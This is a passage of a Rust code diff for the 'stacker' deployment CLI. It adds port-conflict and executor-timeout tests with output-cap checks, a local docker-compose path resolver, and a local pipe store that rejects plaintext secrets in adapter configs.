+        let stdout = "Container nginx-proxy-manager  Starting\nError response from daemon: driver failed programming external connectivity on endpoint nginx-proxy-manager: Bind for 0.0.0.0:8080 failed: port is already allocated";
+        let hints = detect_port_conflicts_in_output("", stdout);
+        assert!(!hints.is_empty(), "should detect port conflict from stdout");
+        assert!(
+            hints.iter().any(|h| h.contains("8080")),
+            "should include port 8080: {:?}",
+            hints
+        );
+    }
+
+    #[test]
+    fn test_detect_port_conflicts_in_output_no_conflict() {
+        let stderr = "Build failed: could not resolve dependency";
+        let hints = detect_port_conflicts_in_output(stderr, "");
+        assert!(hints.is_empty(), "should not flag non-port errors");
+    }
+
+    #[test]
+    fn test_format_preflight_port_conflicts() {
+        let conflicts = vec![
+            "port 80 (service 'nginx') is already occupied".to_string(),
+            "port 443 (service 'nginx') is already occupied".to_string(),
+        ];
+        let msg = format_preflight_port_conflicts("server", &conflicts);
+        assert!(msg.contains("server"), "should mention target: {}", msg);
+        assert!(msg.contains("port 80"), "should mention port 80: {}", msg);
+        assert!(msg.contains("port 443"), "should mention port 443: {}", msg);
+        assert!(
+            msg.contains("stacker.yml"),
+            "should refer to stacker.yml: {}",
+            msg
+        );
+    }
+
+    #[test]
+    fn test_check_remote_host_port_conflicts_empty_compose() {
+        use std::io::Write;
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(tmp, "version: '3'\n# no services with ports\n").unwrap();
+        // No SSH should be called since there are no ports to check
+        let conflicts = check_remote_host_port_conflicts(
+            tmp.path(),
+            "user@fakehost",
+            &["-i", "/dev/null", "-p", "22"],
+        );
+        assert!(
+            conflicts.is_empty(),
+            "empty compose should have no conflicts"
+        );
+    }
+
+    #[test]
+    fn test_check_remote_host_port_conflicts_ssh_unreachable_is_silent() {
+        use std::io::Write;
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"8080:80\"\n"
+        )
+        .unwrap();
+        // Use an unreachable host — function MUST NOT panic, just return empty
+        let conflicts = check_remote_host_port_conflicts(
+            tmp.path(),
+            "nobody@nonexistent.invalid",
+            &["-i", "/dev/null", "-p", "22", "-o", "ConnectTimeout=1"],
+        );
+        assert!(
+            conflicts.is_empty(),
+            "unreachable SSH should return empty (best-effort): {:?}",
+            conflicts
+        );
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Security-audit follow-up tests — CommandExecutor timeout.
+    //
+    // These tests are written FIRST (TDD). They MUST fail against the
+    // current `execute_with_timeout` default impl, which uses
+    // `std::thread::scope` around a blocking `Command::output()` — the
+    // scope joins on exit, so even when `recv_timeout` fires the closure
+    // does not return until the child process exits. Net effect: the
+    // "300-second timeout" is cosmetic.
+    //
+    // After the fix (Phase 4 of the plan), `execute_with_timeout` (or its
+    // successor `execute_hook`) must spawn a `Child`, poll deadline with
+    // `try_wait`, and `child.kill()` on miss — these tests then turn green
+    // in ~3 seconds for a 30-second sleep with a 2-second budget.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// C2: a real timeout must actually terminate the child process and
+    /// return within the timeout budget — NOT block until the child
+    /// finishes naturally.
+    ///
+    /// Marked `#[ignore]` because it spawns a real `sleep 30`. Run with:
+    ///     cargo test -p stacker --lib test_execute_with_timeout_actually_terminates_child -- --ignored --nocapture
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_actually_terminates_child() {
+        use std::time::{Duration, Instant};
+
+        let executor = ShellExecutor;
+        let timeout = Duration::from_secs(2);
+        let started = Instant::now();
+        let result = executor.execute_with_timeout("sleep", &["30"], timeout, None);
+        let elapsed = started.elapsed();
+
+        // The call must error on timeout.
+        assert!(
+            result.is_err(),
+            "execute_with_timeout must return Err on timeout, got Ok"
+        );
+
+        // Wall-clock must be within ~3s — significantly less than the
+        // 30s sleep. With the buggy `thread::scope` implementation this
+        // assertion fires because elapsed ≈ 30s.
+        assert!(
+            elapsed < Duration::from_secs(5),
+            "execute_with_timeout must terminate the child within timeout budget; \
+             actual elapsed = {:?} (sleep child should have been killed)",
+            elapsed
+        );
+    }
+
+    /// Phase 8b: a hook that emits far more stdout than the pipe-level
+    /// OOM cap must NOT be captured verbatim into memory. After the
+    /// bounded-pipe-reader lands, captured stdout is at or under the
+    /// pipe cap regardless of how much the child wrote.
+    ///
+    /// Marked `#[ignore]` because it spawns a real shell child that
+    /// dumps ~10 MiB of data. Run with:
+    ///     cargo test -p stacker --lib test_execute_with_timeout_caps_large_stdout -- --ignored --nocapture
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_caps_large_stdout() {
+        use std::time::Duration;
+
+        let executor = ShellExecutor;
+        // Emit ~10 MiB of ASCII bytes on stdout — well above the 1 MiB+slack
+        // pipe cap the bounded reader enforces.
+        let result = executor
+            .execute_with_timeout(
+                "sh",
+                &[
+                    "-c",
+                    // 10 * 1024 * 1024 = 10485760 bytes of 'A' + newline.
+                    "yes A | head -c 10485760",
+                ],
+                Duration::from_secs(20),
+                None,
+            )
+            .expect("execute_with_timeout should complete despite large stdout");
+
+        assert_eq!(result.exit_code, 0, "child must exit 0");
+        assert!(
+            result.stdout.len() <= HOOK_PIPE_OUTPUT_MAX_BYTES,
+            "captured stdout must be capped at or below HOOK_PIPE_OUTPUT_MAX_BYTES ({}), \
+             got {} bytes — bounded pipe reader is not enforcing the OOM defence",
+            HOOK_PIPE_OUTPUT_MAX_BYTES,
+            result.stdout.len(),
+        );
+    }
+
+    /// Phase 8b sibling: same guarantee for stderr. A hostile hook can
+    /// pick either channel; both must be bounded.
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_caps_large_stderr() {
+        use std::time::Duration;
+
+        let executor = ShellExecutor;
+        let result = executor
+            .execute_with_timeout(
+                "sh",
+                &["-c", "yes A | head -c 10485760 >&2"],
+                Duration::from_secs(20),
+                None,
+            )
+            .expect("execute_with_timeout should complete despite large stderr");
+
+        assert_eq!(result.exit_code, 0);
+        assert!(
+            result.stderr.len() <= HOOK_PIPE_OUTPUT_MAX_BYTES,
+            "captured stderr must be capped at or below HOOK_PIPE_OUTPUT_MAX_BYTES ({}), \
+             got {} bytes",
+            HOOK_PIPE_OUTPUT_MAX_BYTES,
+            result.stderr.len(),
+        );
+    }
+
+    /// Phase 8b hang-defence: writing past the OS pipe buffer without a
+    /// concurrent reader hangs the child on write. This test proves the
+    /// bounded reader drains both pipes concurrently so the child can
+    /// exit even when its output exceeds the cap by orders of magnitude.
+    ///
+    /// If this test hangs (rather than fails), the fix is missing the
+    /// "keep reading past the cap into /dev/null" drain step.
+    #[test]
+    #[ignore]
+    fn test_execute_with_timeout_drains_past_cap_so_child_exits() {
+        use std::time::{Duration, Instant};
+
+        let executor = ShellExecutor;
+        // ~50 MiB — well past any reasonable pipe cap and past the OS
+        // pipe buffer (usually 64 KiB), so without concurrent draining
+        // the child would block on write forever.
+        let started = Instant::now();
+        let result = executor
+            .execute_with_timeout(
+                "sh",
+                &["-c", "yes A | head -c 52428800"],
+                Duration::from_secs(30),
+                None,
+            )
+            .expect("child must complete even with 50 MiB of stdout");
+        let elapsed = started.elapsed();
+
+        assert_eq!(result.exit_code, 0);
+        // 50 MiB / plausible RAM bandwidth should be seconds, not
+        // minutes. If we ever get close to the 30s timeout, the drain
+        // is not happening concurrently.
+        assert!(
+            elapsed < Duration::from_secs(20),
+            "child took {:?} to complete a 50 MiB dump — drain is not \
+             running concurrently with try_wait",
+            elapsed
+        );
+    }
+
+    /// C2 sibling: when a child process is timed out, a follow-up call
+    /// to the same executor must succeed promptly — no zombie state,
+    /// no thread leak that holds resources.
+    ///
+    /// Marked `#[ignore]` for the same reason.
+    #[test]
+    #[ignore]
+    fn test_executor_remains_usable_after_timeout() {
+        use std::time::{Duration, Instant};
+
+        let executor = ShellExecutor;
+        let _ = executor.execute_with_timeout("sleep", &["10"], Duration::from_secs(1), None);
+
+        // Now run a quick command and assert it completes quickly.
+        let started = Instant::now();
+        let result = executor.execute("/bin/sh", &["-c", "echo ok"]);
+        let elapsed = started.elapsed();
+
+        assert!(result.is_ok(), "Follow-up exec must succeed: {:?}", result);
+        let output = result.unwrap();
+        assert_eq!(output.exit_code, 0);
+        assert!(
+            elapsed < Duration::from_secs(2),
+            "Follow-up exec must run promptly, elapsed = {:?}",
+            elapsed
+        );
+    }
 }
diff --git a/src/cli/local_compose.rs b/src/cli/local_compose.rs
new file mode 100644
index 00000000..5c6f0de7
--- /dev/null
+++ b/src/cli/local_compose.rs
@@ -0,0 +1,122 @@
+use std::path::{Path, PathBuf};
+
+use crate::cli::config_parser::{DeployTarget, StackerConfig};
+use crate::cli::deployment_lock::DeploymentLock;
+use crate::cli::error::CliError;
+
+const OUTPUT_DIR: &str = ".stacker";
+const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
+
+pub fn resolve_local_compose_path(project_dir: &Path) -> Result<PathBuf, CliError> {
+    let generated = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
+    let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+    let mut selected_non_local_target = false;
+
+    if config_path.exists() {
+        if let Ok(config) = StackerConfig::from_file(&config_path) {
+            if let Ok(config) = config.with_resolved_deploy_target(None) {
+                selected_non_local_target = config.deploy.target != DeployTarget::Local;
+
+                if config.deploy.target == DeployTarget::Local {
+                    if let Some(compose_file) = config.deploy.compose_file {
+                        let resolved = if compose_file.is_absolute() {
+                            compose_file
+                        } else {
+                            project_dir.join(compose_file)
+                        };
+                        if resolved.exists() {
+                            return Ok(resolved);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    if selected_non_local_target {
+        return Err(CliError::ConfigValidation(
+            "The selected deploy target is not local, so no local docker-compose file is available."
+                .to_string(),
+        ));
+    }
+
+    if generated.exists() {
+        // Even when a generated compose file exists, if the deployment lock
+        // says the last deploy was to cloud/server, don't treat it as local.
+        if let Ok(Some(lock)) = DeploymentLock::load_active(project_dir) {
+            if lock.target != "local" {
+                return Err(CliError::ConfigValidation(format!(
+                    "This project was deployed to '{}'. Use 'stacker agent logs' or switch to the local target.",
+                    lock.target
+                )));
+            }
+        }
+        return Ok(generated);
+    }
+
+    Err(CliError::ConfigValidation(
+        "No deployment found. Run 'stacker deploy' first.".to_string(),
+    ))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_resolve_local_compose_path_prefers_configured_compose_file() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join("docker/local")).unwrap();
+        std::fs::create_dir_all(dir.path().join(".stacker")).unwrap();
+        std::fs::write(
+            dir.path().join("docker/local/compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+        std::fs::write(
+            dir.path().join(".stacker/docker-compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+        std::fs::write(
+            dir.path().join("stacker.yml"),
+            "name: demo\ndeploy:\n  target: local\n  compose_file: docker/local/compose.yml\n",
+        )
+        .unwrap();
+
+        let resolved = resolve_local_compose_path(dir.path()).unwrap();
+        assert_eq!(resolved, dir.path().join("docker/local/compose.yml"));
+    }
+
+    #[test]
+    fn test_resolve_local_compose_path_falls_back_to_generated_compose() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join(".stacker")).unwrap();
+        std::fs::write(
+            dir.path().join(".stacker/docker-compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+
+        let resolved = resolve_local_compose_path(dir.path()).unwrap();
+        assert_eq!(resolved, dir.path().join(".stacker/docker-compose.yml"));
+    }
+
+    #[test]
+    fn test_resolve_local_compose_path_rejects_remote_default_target() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join(".stacker")).unwrap();
+        std::fs::write(
+            dir.path().join(".stacker/docker-compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+        std::fs::write(
+            dir.path().join("stacker.yml"),
+            "name: demo\ndeploy:\n  default_target: prod\n  targets:\n    local:\n      compose_file: docker/local/compose.yml\n    prod:\n      server:\n        host: 10.0.0.8\n        user: deploy\n        ssh_key: ~/.ssh/id_ed25519\n",
+        )
+        .unwrap();
+
+        assert!(resolve_local_compose_path(dir.path()).is_err());
+    }
+}
diff --git a/src/cli/local_pipe_store.rs b/src/cli/local_pipe_store.rs
new file mode 100644
index 00000000..19f963f9
--- /dev/null
+++ b/src/cli/local_pipe_store.rs
@@ -0,0 +1,642 @@
+use std::fs;
+use std::path::{Path, PathBuf};
+
+use chrono::Utc;
+use pipe_adapter_sdk::PipeAdapterReference;
+use serde::{Deserialize, Serialize};
+
+use crate::cli::error::CliError;
+use crate::cli::stacker_client::{CreatePipeInstanceApiRequest, CreatePipeTemplateApiRequest};
+use crate::helpers::fs::write_atomic;
+
+pub const LOCAL_PIPE_SCHEMA_VERSION: u32 = 1;
+const LOCAL_PIPE_FILE_MODE: u32 = 0o600;
+const LOCAL_PIPE_DIR: &str = ".stacker/pipes";
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct LocalPipeBinding {
+    pub selector: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub container: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub adapter: Option<PipeAdapterReference>,
+    pub method: String,
+    pub path: String,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub fields: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct LocalPipeTemplate {
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub description: Option<String>,
+    pub source_app_type: String,
+    pub source_endpoint: serde_json::Value,
+    pub target_app_type: String,
+    pub target_endpoint: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub target_external_url: Option<String>,
+    pub field_mapping: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub config: Option<serde_json::Value>,
+    pub is_public: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct LocalPipeInstance {
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub source_adapter: Option<PipeAdapterReference>,
+    pub source_container: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub target_adapter: Option<PipeAdapterReference>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub target_container: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub target_url: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub field_mapping_override: Option<serde_json::Value>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub config_override: Option<serde_json::Value>,
+    #[serde(default)]
+    pub trigger_count: i64,
+    #[serde(default)]
+    pub error_count: i64,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub last_triggered_at: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)]
+pub struct LocalPipePromotion {
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub last_deployment_hash: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub remote_template_id: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub remote_instance_id: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub promoted_at: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)]
+pub struct LocalPipeDiagnostics {
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub notes: Vec<String>,
+}
+
+#[derive(Debug, Clone)]
+pub struct NewLocalPipeDocument {
+    pub name: String,
+    pub source: LocalPipeBinding,
+    pub target: LocalPipeBinding,
+    pub template: LocalPipeTemplate,
+    pub instance: LocalPipeInstance,
+    pub diagnostics: LocalPipeDiagnostics,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct LocalPipeDocument {
+    pub schema_version: u32,
+    pub id: String,
+    pub name: String,
+    pub created_at: String,
+    pub updated_at: String,
+    pub status: String,
+    pub source: LocalPipeBinding,
+    pub target: LocalPipeBinding,
+    pub template: LocalPipeTemplate,
+    pub instance: LocalPipeInstance,
+    #[serde(default)]
+    pub promotion: LocalPipePromotion,
+    #[serde(default)]
+    pub diagnostics: LocalPipeDiagnostics,
+}
+
+impl LocalPipeDocument {
+    pub fn draft(input: NewLocalPipeDocument) -> Result<Self, CliError> {
+        let id = local_pipe_id_from_name(&input.name)?;
+        let now = Utc::now().to_rfc3339();
+        let document = Self {
+            schema_version: LOCAL_PIPE_SCHEMA_VERSION,
+            id,
+            name: input.name,
+            created_at: now.clone(),
+            updated_at: now,
+            status: "draft".to_string(),
+            source: input.source,
+            target: input.target,
+            template: input.template,
+            instance: input.instance,
+            promotion: LocalPipePromotion::default(),
+            diagnostics: input.diagnostics,
+        };
+        document.validate()?;
+        Ok(document)
+    }
+
+    pub fn validate(&self) -> Result<(), CliError> {
+        if self.schema_version != LOCAL_PIPE_SCHEMA_VERSION {
+            return Err(CliError::ConfigValidation(format!(
+                "Unsupported local pipe schema version {} for '{}'",
+                self.schema_version, self.id
+            )));
+        }
+        if self.name.trim().is_empty() {
+            return Err(CliError::ConfigValidation(
+                "Local pipe name cannot be empty".to_string(),
+            ));
+        }
+        validate_local_pipe_id(&self.id)?;
+        if self.source.selector.trim().is_empty() || self.target.selector.trim().is_empty() {
+            return Err(CliError::ConfigValidation(
+                "Local pipe source and target selectors are required".to_string(),
+            ));
+        }
+        if self.instance.source_container.trim().is_empty() {
+            return Err(CliError::ConfigValidation(format!(
+                "Local pipe '{}' is missing a source container",
+                self.id
+            )));
+        }
+        if self.instance.target_adapter.is_none()
+            && self.instance.target_container.is_none()
+            && self.instance.target_url.is_none()
+        {
+            return Err(CliError::ConfigValidation(format!(
+                "Local pipe '{}' must define a target adapter, target container, or target URL",
+                self.id
+            )));
+        }
+
+        if let Some(adapter) = &self.instance.source_adapter {
+            validate_adapter_config(adapter.config.as_ref(), "source_adapter.config")?;
+        }
+        if let Some(adapter) = &self.instance.target_adapter {
+            validate_adapter_config(adapter.config.as_ref(), "target_adapter.config")?;
+        }
+        validate_adapter_config(self.template.config.as_ref(), "template.config")?;
+        validate_adapter_config(
+            self.instance.config_override.as_ref(),
+            "instance.config_override",
+        )?;
+
+        Ok(())
+    }
+
+    pub fn to_template_request(&self) -> CreatePipeTemplateApiRequest {
+        CreatePipeTemplateApiRequest {
+            name: self.name.clone(),
+            description: self.template.description.clone(),
+            source_app_type: self.template.source_app_type.clone(),
+            source_endpoint: self.template.source_endpoint.clone(),
+            target_app_type: self.template.target_app_type.clone(),
+            target_endpoint: self.template.target_endpoint.clone(),
+            target_external_url: self.template.target_external_url.clone(),
+            field_mapping: self.template.field_mapping.clone(),
+            config: self.template.config.clone(),
+            is_public: Some(self.template.is_public),
+        }
+    }
+
+    pub fn to_instance_request(
+        &self,
+        deployment_hash: String,
+        template_id: String,
+    ) -> CreatePipeInstanceApiRequest {
+        CreatePipeInstanceApiRequest {
+            deployment_hash: Some(deployment_hash),
+            source_adapter: self.instance.source_adapter.clone(),
+            source_container: self.instance.source_container.clone(),
+            target_adapter: self.instance.target_adapter.clone(),
+            target_container: self.instance.target_container.clone(),
+            target_url: self.instance.target_url.clone(),
+            template_id: Some(template_id),
+            field_mapping_override: self.instance.field_mapping_override.clone(),
+            config_override: self.instance.config_override.clone(),
+        }
+    }
+
+    pub fn record_promotion(
+        &mut self,
+        deployment_hash: &str,
+        template_id: &str,
+        instance_id: &str,
+    ) {
+        let promoted_at = Utc::now().to_rfc3339();
+        self.updated_at = promoted_at.clone();
+        self.promotion.last_deployment_hash = Some(deployment_hash.to_string());
+        self.promotion.remote_template_id = Some(template_id.to_string());
+        self.promotion.remote_instance_id = Some(instance_id.to_string());
+        self.promotion.promoted_at = Some(promoted_at);
+    }
+
+    pub fn effective_field_mapping(&self) -> &serde_json::Value {
+        self.instance
+            .field_mapping_override
+            .as_ref()
+            .unwrap_or(&self.template.field_mapping)
+    }
+
+    pub fn set_status(&mut self, status: &str) {
+        self.status = status.to_string();
+        self.updated_at = Utc::now().to_rfc3339();
+    }
+
+    pub fn record_trigger_success(&mut self) {
+        let now = Utc::now().to_rfc3339();
+        self.updated_at = now.clone();
+        self.instance.last_triggered_at = Some(now);
+        self.instance.trigger_count += 1;
+    }
+
+    pub fn record_trigger_failure(&mut self) {
+        self.instance.error_count += 1;
+        self.set_status("error");
+    }
+
+    pub fn source_display(&self) -> &str {
+        self.instance
+            .source_adapter
+            .as_ref()
+            .map(|adapter| adapter.code.as_str())
+            .unwrap_or(self.instance.source_container.as_str())
+    }
+
+    pub fn target_display(&self) -> &str {
+        self.instance
+            .target_adapter
+            .as_ref()
+            .map(|adapter| adapter.code.as_str())
+            .or(self.instance.target_container.as_deref())
+            .or(self.instance.target_url.as_deref())
+            .unwrap_or("-")
+    }
+}
+
+#[derive(Debug, Clone)]
+pub struct LocalPipeStore {
+    project_dir: PathBuf,
+}
+
+impl LocalPipeStore {
+    pub fn new(project_dir: impl Into<PathBuf>) -> Self {
+        Self {
+            project_dir: project_dir.into(),
+        }
+    }
+
+    pub fn pipes_dir(&self) -> PathBuf {
+        self.project_dir.join(LOCAL_PIPE_DIR)
+    }
+
+    pub fn pipe_path(&self, id: &str) -> PathBuf {
+        self.pipes_dir().join(format!("{id}.json"))
+    }
+
+    pub fn list(&self) -> Result<Vec<LocalPipeDocument>, CliError> {
+        let dir = self.pipes_dir();
+        if !dir.exists() {
+            return Ok(Vec::new());
+        }
+
+        let mut entries = Vec::new();
+        for entry in fs::read_dir(&dir).map_err(CliError::Io)? {
+            let entry = entry.map_err(CliError::Io)?;
+            let path = entry.path();
+            if path.extension().and_then(|value| value.to_str()) != Some("json") {
+                continue;
+            }
+            let content = fs::read_to_string(&path).map_err(CliError::Io)?;
+            let document: LocalPipeDocument = serde_json::from_str(&content).map_err(|err| {
+                CliError::ConfigValidation(format!(
+                    "Failed to parse local pipe file {}: {}",
+                    path.display(),
+                    err
+                ))
+            })?;
+            document.validate()?;
+            entries.push(document);
+        }
+
+        entries.sort_by(|left, right| left.name.to_lowercase().cmp(&right.name.to_lowercase()));
+        Ok(entries)
+    }
+
+    pub fn save_new(&self, document: &LocalPipeDocument) -> Result<PathBuf, CliError> {
+        document.validate()?;
+        let path = self.pipe_path(&document.id);
+        if path.exists() {
+            return Err(CliError::ConfigValidation(format!(
+                "Local pipe '{}' already exists at {}",
+                document.id,
+                path.display()
+            )));
+        }
+
+        let duplicate_name = self
+            .list()?
+            .into_iter()
+            .find(|existing| existing.name.eq_ignore_ascii_case(&document.name));
+        if let Some(existing) = duplicate_name {
+            return Err(CliError::ConfigValidation(format!(
+                "Local pipe name '{}' is already used by '{}'. Choose a different name or update the existing local pipe once edit support lands.",
+                document.name,
+                existing.id
+            )));
+        }
+
+        self.save(document)
+    }
+
+    pub fn save(&self, document: &LocalPipeDocument) -> Result<PathBuf, CliError> {
+        document.validate()?;
+        let path = self.pipe_path(&document.id);
+        let bytes = serde_json::to_vec_pretty(document).map_err(|err| {
+            CliError::ConfigValidation(format!(
+                "Failed to serialize local pipe '{}': {}",
+                document.id, err
+            ))
+        })?;
+        write_atomic(&path, &bytes, LOCAL_PIPE_FILE_MODE).map_err(CliError::Io)?;
+        Ok(path)
+    }
+
+    pub fn resolve(&self, selector: &str) -> Result<LocalPipeDocument, CliError> {
+        let matches = self
+            .list()?
+            .into_iter()
+            .filter(|document| document.id == selector || document.name == selector)
+            .collect::<Vec<_>>();
+
+        match matches.len() {
+            0 => Err(CliError::ConfigValidation(format!(
+                "Local pipe '{}' was not found under {}. Recreate it with `stacker pipe create <source> <target>` if it only exists in the legacy server-backed local pipe list.",
+                selector,
+                self.pipes_dir().display()
+            ))),
+            1 => Ok(matches.into_iter().next().expect("single match")),
+            _ => Err(CliError::ConfigValidation(format!(
+                "Local pipe selector '{}' is ambiguous; use the local pipe ID",
+                selector
+            ))),
+        }
+    }
+}
+
+pub fn local_pipe_id_from_name(name: &str) -> Result<String, CliError> {
+    let mut id = String::with_capacity(name.len());
+    let mut previous_was_separator = false;
+
+    for ch in name.trim().chars() {
+        if ch.is_ascii_alphanumeric() {
+            id.push(ch.to_ascii_lowercase());
+            previous_was_separator = false;
+        } else if matches!(ch, '-' | '_' | ' ' | '.' | '/' | ':') && !previous_was_separator {
+            id.push('-');
+            previous_was_separator = true;
+        }
+    }
+
+    let normalized = id.trim_matches('-').to_string();
+    validate_local_pipe_id(&normalized)?;
+    Ok(normalized)
+}
+
+fn validate_local_pipe_id(id: &str) -> Result<(), CliError> {
+    if id.is_empty() {
+        return Err(CliError::ConfigValidation(
+            "Local pipe ID cannot be empty".to_string(),
+        ));
+    }
+    if !id
+        .chars()
+        .all(|ch| ch.is_ascii_lowercase() || ch.is_ascii_digit() || matches!(ch, '-' | '_'))
+    {
+        return Err(CliError::ConfigValidation(format!(
+            "Local pipe ID '{}' must use lowercase ASCII letters, digits, '-' or '_'",
+            id
+        )));
+    }
+    Ok(())
+}
+
+fn validate_adapter_config(value: Option<&serde_json::Value>, path: &str) -> Result<(), CliError> {
+    if let Some(value) = value {
+        reject_plaintext_secret_values(value, path)?;
+    }
+    Ok(())
+}
+
+fn reject_plaintext_secret_values(value: &serde_json::Value, path: &str) -> Result<(), CliError> {
+    match value {
+        serde_json::Value::Array(items) => {
+            for (index, item) in items.iter().enumerate() {
+                reject_plaintext_secret_values(item, &format!("{path}[{index}]"))?;
+            }
+        }
+        serde_json::Value::Object(map) => {
+            for (key, nested) in map {
+                let nested_path = format!("{path}.{key}");
+                if is_sensitive_adapter_key(key) && !is_secret_reference(nested) {
+                    return Err(CliError::ConfigValidation(format!(
+                        "Sensitive adapter config '{nested_path}' must use a secret reference instead of a plaintext value"
+                    )));
+                }
+                reject_plaintext_secret_values(nested, &nested_path)?;
+            }
+        }
+        _ => {}
+    }
+    Ok(())
+}
+
+fn is_secret_reference(value: &serde_json::Value) -> bool {
+    match value {
+        serde_json::Value::Object(map) => {
+            map.contains_key("secret_ref")
+                || map.contains_key("$env")
+                || map.contains_key("env")
+                || (map.contains_key("scope")
+                    && map.contains_key("name")
+                    && (map.contains_key("service") || map.contains_key("app")))
+        }
+        _ => false,
+    }
+}
+
+fn is_sensitive_adapter_key(key: &str) -> bool {
+    let lowered = key.trim().to_ascii_lowercase();
+    lowered.contains("password")
+        || lowered.contains("secret")
+        || lowered.contains("token")
+        || lowered.contains("credential")
+        || lowered == "auth"
+        || lowered.ends_with("_auth")
+        || lowered.contains("api_key")
+        || lowered.ends_with("_key")
+        || lowered.contains("private_key")
+        || lowered.ends_with("cert")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use pipe_adapter_sdk::PipeAdapterRole;
+    use tempfile::TempDir;
+
+    fn sample_document() -> LocalPipeDocument {
+        LocalPipeDocument::draft(NewLocalPipeDocument {
+            name: "status-panel-web-to-smtp".to_string(),
+            source: LocalPipeBinding {
+                selector: "status-panel-web".to_string(),
+                container: Some("status-panel-web".to_string()),
+                adapter: None,
+                method: "POST".to_string(),
+                path: "/contact".to_string(),
+                fields: vec!["email".to_string(), "message".to_string()],
+            },
+            target: LocalPipeBinding {
+                selector: "smtp".to_string(),
+                container: Some("smtp".to_string()),
+                adapter: Some(
+                    PipeAdapterReference::new("smtp")
+                        .with_role(PipeAdapterRole::Target)
+                        .with_config(serde_json::json!({
+                            "host": "smtp",
+                            "port": 1025,
+                            "to": ["ops@example.com"],
+                            "tls": false
+                        })),
+                ),
+                method: "SEND".to_string(),
+                path: "adapter:smtp".to_string(),
+                fields: vec!["from_email".to_string(), "body_text".to_string()],
+            },
+            template: LocalPipeTemplate {
+                description: Some("POST /contact -> SEND adapter:smtp".to_string()),
+                source_app_type: "status-panel-web".to_string(),
+                source_endpoint: serde_json::json!({"path": "/contact", "method": "POST"}),
+                target_app_type: "smtp".to_string(),
+                target_endpoint: serde_json::json!({
+                    "mode": "adapter",
+                    "adapter": "smtp",
+                    "display_name": "SMTP target"
+                }),
+                target_external_url: None,
+                field_mapping: serde_json::json!({"body_text": "$.message"}),
+                config: Some(serde_json::json!({"retry_count": 3})),
+                is_public: false,
+            },
+            instance: LocalPipeInstance {
+                source_adapter: None,
+                source_container: "status-panel-web".to_string(),
+                target_adapter: Some(
+                    PipeAdapterReference::new("smtp")
+                        .with_role(PipeAdapterRole::Target)
+                        .with_config(serde_json::json!({
+                            "host": "smtp",
+                            "port": 1025,
+                            "to": ["ops@example.com"],
+                            "tls": false
+                        })),
+                ),
+                target_container: Some("smtp".to_string()),
+                target_url: None,
+                field_mapping_override: None,
+                config_override: None,
+                trigger_count: 0,
+                error_count: 0,
+                last_triggered_at: None,
+            },
+            diagnostics: LocalPipeDiagnostics {
+                notes: vec!["local discovery cached".to_string()],
+            },
+        })
+        .expect("sample local pipe should be valid")
+    }
+
+    #[test]
+    fn local_pipe_id_is_slugified() {
+        assert_eq!(
+            local_pipe_id_from_name("Status Panel Web: SMTP / Prod").unwrap(),
+            "status-panel-web-smtp-prod"
+        );
+    }
+
+    #[test]
+    fn store_round_trips_local_pipe_document() {
+        let dir = TempDir::new().unwrap();
+        let store = LocalPipeStore::new(dir.path());
+        let document = sample_document();
+
+        let path = store.save_new(&document).unwrap();
+        assert!(path.ends_with("status-panel-web-to-smtp.json"));
+
+        let stored = store.resolve("status-panel-web-to-smtp").unwrap();
+        assert_eq!(stored.id, document.id);
+        assert_eq!(stored.name, document.name);
+        assert_eq!(stored.instance.target_container, Some("smtp".to_string()));
+    }
+
+    #[test]
+    fn duplicate_name_is_rejected() {
